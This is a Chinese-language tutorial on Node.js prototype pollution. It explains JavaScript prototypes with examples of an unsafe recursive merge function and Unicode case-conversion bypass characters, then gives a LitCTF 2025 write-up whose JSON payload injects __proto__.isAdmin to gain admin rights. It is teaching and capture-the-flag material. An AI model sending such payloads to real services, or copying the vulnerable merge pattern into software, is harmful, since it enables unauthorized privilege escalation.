Nodejs原型链污染

对象

在 JavaScript 中,几乎所有的东西都是对象。对象就像是一个收纳盒,可以存放各种东西(属性)

1
2
3
4
5
6
7
// 创建一个对象(收纳盒)
const person = {
name: "Alice", // 存放名字
age: 25 // 存放年龄
};

console.log(person.name); // 输出: Alice

原型

每个对象都有一个原型(prototype),可以理解为备用收纳盒

当你在当前对象中找不到某个属性时,JavaScript 会自动去它的原型(备用盒)里找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 创建一个空对象
const obj = {};

// 每个对象都有一个隐藏的"备用盒"(原型)
// 当访问 obj.toString 时,obj 本身没有 toString
// 就会去原型里找
console.log(obj.toString); // 输出: [Function: toString](从原型找到的)

obj 对象
↓ (__proto__)
Object.prototype(Object.prototypeJavaScript 中所有对象的原型链顶端(除了 null)。它是一个特殊的对象,包含了所有对象共享的基础方法)
├── toString()
├── hasOwnProperty()
├── valueOf()
└── ... 其他方法
↓ (__proto__)
null (原型链终点)

原型链

原型链:对象的__proto__是原型,而原型也是一个对象,也有__proto__属性,原型的__proto_又是原型的原型,就这样可以一直通过__proto__向上找,这便是原型链,当向上找找到 object 的原型的时候,这条原型链便算结束了

1
obj → 原型对象 → 原型的原型 → ... → null

之所以能形成原型链污染最基本的机制就是当在一个 son 对象中寻找一个属性,而子对象没有这个属性,那么就会去 son.__proto__ 中寻找这个属性,如果仍然找不到,则继续在 son.__proto__.__proto__ 中寻找,依次查找直到找到 null 结束。那么当我们需要某个对象的属性为 true 时,如果它没有这个属性,他就会去__proto__上找,这时我可以通过直接污染 object 对象的这个属性值为 true,使得我目标对象该属性为 true。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
const foo = {
bar: 1
};
foo.__proto__.bar = 2
console.log(foo.bar);
const zoo = {};
console.log(zoo.bar);

//foo.__proto__ 指向的是 Object.prototype
// 这行代码等价于:Object.prototype.bar = 2

// 所以在 Object.prototype 上添加了 bar 属性,值为 2

可以通过以下方式访问得到某一实例对象的原型对象,

1
2
3
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype

剩下的 pp2rce 和 ejs 模板命令执行也是差不多的原理,主要是取决于污染什么属性。

原型链污染:

1
2
在JavaScript中,每个对象都有一个原型,它是一个指向另一个对象的引用。当我们访问一个对象的属性时,如果该对象没有这个属性,JavaScript引擎会在它的原型对象中查找这个属性。这个过程会一直持续,直到找到该属性或者到达原型链的末尾。
攻击者可以利用这个特性,通过修改一个对象的原型链,来污染程序的行为。例如,攻击者可以在一个对象的原型链上设置一个恶意的属性或方法,当程序在后续的执行中访问该属性或方法时,就会执行攻击者的恶意代码

简单的说呢,其实就是我们对原链中的某个属性进行了污染,向其中插入恶意代码,当我们再调用这个链(也就是使用这个对象)时,我们的恶意代码就会被触发,此时就达到了一个执行恶意代码的效果

__proto__和prototype

JavaScript中,每个对象都有一个名为__proto__的内置属性,它指向该对象的原型。同时,每个函数也都有一个名为 prototype 的属性,它是一个对象,包含构造函数的原型对象应该具有的属性和方法。简单来说,__proto__ 属性是指向该对象的原型,而 prototype属性是用于创建该对象的构造函数的原型

概念 谁有 是什么
__proto__ 所有对象都有 指向原型(自己的备用柜子)
prototype 只有函数有 用来给新对象设置原型

代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function Person(name) {
this.name = name;
}

Person.prototype.greet = function() {
console.log(`Hello, my name is ${this.name}`);
};

const person1 = new Person('Alice');
person1.greet(); // 输出 "Hello, my name is Alice"
--------------------------------------------------------------------------------------------------------------------------------
Person.prototype.greet
Person.prototype 添加 greet 方法,所有 Person 的实例都会共享这个方法(通过原型链)
person.greet() Peron本身没有greet方法,但是通过原型链找到greet方法,并进行调用

总结:

1、prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
2、一个对象的__proto__属性,指向这个对象所在的类的prototype属性

具体过程:

示例1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var a = {number : 111}
var b = {number : 222}
b.__proto__.number=333
var c= {}
c.number //333

这里c没有number的值,于是在原型(objectprototype)中找到设定的number=333,于是c.nymber就为333
--------------------------------------------------------------------------------------------------------------------------------
为什么执行过b.__proto__.number=520 后,我们输出b的值,其值仍为1314

这是因为在JavaScript中存在这样一种继承机制:
我们这里调用b.number时,它的具体调用过程是如下所示的


1、在b对象中寻找number属性
2、当在b对象中没有找到时,它会在b.__proto__中寻找number属性
3、如果仍未找到,此时会去b.__proto__.__proto__中寻找number属性


也就是说,它从自身开始寻找,然后一层一层向上递归寻找,直到找到或是递归到null为止,此机制被称为JavaScript继承链,我们这里的污染的属性是在b.__proto__中,而我们的b对象本身就有number,所以其值并未改变

示例2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
// 如果target与source有相同的键名 则让target的键值为source的键值
merge(target[key], source[key])
} else {
target[key] = source[key] // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值
}
}
}
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

执行过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// 初始状态
let o1 = {} // 空对象
let o2 = { // 解析后
"a": 1,
"__proto__": {"b": 2}
}

// 执行 merge(o1, o2)
merge(o1, o2)

// 遍历 o2 的键:
// 第一次循环:key = "a"
// - "a" 不在 o1 中 →

o1.a = 1

// 第二次循环:key = "__proto__"
// - "__proto__" 存在于 o1 中(因为所有对象都有 __proto__)
// - 递归调用 merge(o1.__proto__, {"b": 2})
// - 将 {"b": 2} 合并到 o1 的原型上
// - 相当于:

Object.prototype.b = 2

// 结果
console.log(o1.a, o1.b) // 输出: 1 2
// o1.b 不存在,但会沿着原型链找到 Object.prototype.b

console.log(o3.b) // 输出: 2
// 所有新创建的对象都能访问到 b,因为原型被污染了

拓展(js大小写特性)

toUpperCase()和toLowerCase

这两个是 JavaScript 中用于改变字母大小写的方法,非常简单直观

toUpperCase() - 转大写

将字符串中的所有字母变成大写形式。

1
2
3
4
// 基本用法
"hello".toUpperCase() // "HELLO"
"Hello World".toUpperCase() // "HELLO WORLD"
"abc123".toUpperCase() // "ABC123" (数字不变)

toLowerCase() - 转小写

将字符串中的所有字母变成小写形式。

1
2
3
4
// 基本用法
"HELLO".toLowerCase() // "hello"
"Hello World".toLowerCase() // "hello world"
"ABC123".toLowerCase() // "abc123" (数字不变)

对于toUpperCase()函数

1
字符"ı"(拉丁小写点无点i)、"ſ(拉丁长s)" 经过toUpperCase处理后结果为 "I"、"S"

对于toLowerCase

1
字符"K(开尔文符号)"经过toLowerCase处理后结果为"k"(这个K不是K)

[LitCTF 2025]多重宇宙日记

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<script>
// 更新表单的JS提交
document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
event.preventDefault();
const statusEl = document.getElementById('updateStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在更新...';

const formData = new FormData(event.target);
const settingsPayload = {};
// 构建 settings 对象,只包含有值的字段
if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
if (formData.get('language')) settingsPayload.language = formData.get('language');
// ...可以添加其他字段

try {
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败: ' + error.toString();
}
});

// 发送原始JSON的函数
async function sendRawJson() {
const rawJson = document.getElementById('rawJsonSettings').value;
const statusEl = document.getElementById('rawJsonStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在发送...';
try {
const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败或JSON无效: ' + error.toString();
}
}
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const formData = new FormData(event.target);
const settingsPayload = {};
// ... 提取 theme 和 language ...

// 发送请求时的关键操作:
body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下,推测后端接收的是settings字段,并且提交的是原始的JSON,并没有任何过滤和限制

普通用户对象在内存中缺失了 isAdmin: false 这个明确的属性,导致后端在访问isAdmin这个属性时找不到,于是从被污染的原型里找到isAdmin:true,绕过验证

利用:
利用settings将原型Object.prototype修改或者添加为 isAdmin : true
------------------------------------------------------------------------------------------------------------

提交JSON:
{
"settings": {
"__proto__": {
"isAdmin": true
}
}
}